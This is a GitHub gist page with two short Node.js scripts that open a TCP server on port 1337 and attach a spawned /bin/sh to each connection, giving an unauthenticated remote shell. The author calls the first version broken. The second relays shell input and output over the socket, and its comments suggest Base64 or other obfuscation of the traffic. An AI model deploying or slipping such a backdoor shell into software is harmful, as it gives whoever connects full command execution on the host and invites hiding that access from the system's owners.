Created
October 13, 2011 03:36
-
-
Save btoews/1283301 to your computer and use it in GitHub Desktop.
node remote shell
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Minimalistic remote shell over tcp using nodejs | |
//This doesn't work. I think it should... | |
//Additionally, this isn't nearly as cool | |
//as the next file because it gives you no | |
//ability to modify/inspect shell input/output | |
var spawn = require('child_process').spawn; | |
var net = require('net'); | |
var server = net.createServer(function(socket){ | |
var sh = spawn("/bin/sh",[],{cwd:undefined,env:undefined,customFds:[socket,socket,socket],setsid:false}); | |
}); | |
server.listen(1337,'127.0.0.1'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Remove shell over tcp using nodejs | |
//I plan to extend this to be more useful. | |
var spawn = require('child_process').spawn; | |
var net = require('net'); | |
var stream = require('stream'); | |
var console = require('console'); | |
var server = net.createServer(function(socket){ | |
var sh = spawn('/bin/sh'); | |
sh.stdin.resume() | |
sh.stdout.on("data",function (data){ | |
//Node makes async stuff easy. | |
//You can do cool things like: | |
//socket.write(Base64_encode(data)); | |
//or any other encoding/obfuscation | |
//for that matter. | |
socket.write(data); | |
}); | |
sh.stderr.on("data",function (data){ | |
socket.write(data); | |
}); | |
socket.on("data",function (data){ | |
sh.stdin.write(data); | |
}); | |
}); | |
server.listen(1337,'127.0.0.1'); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment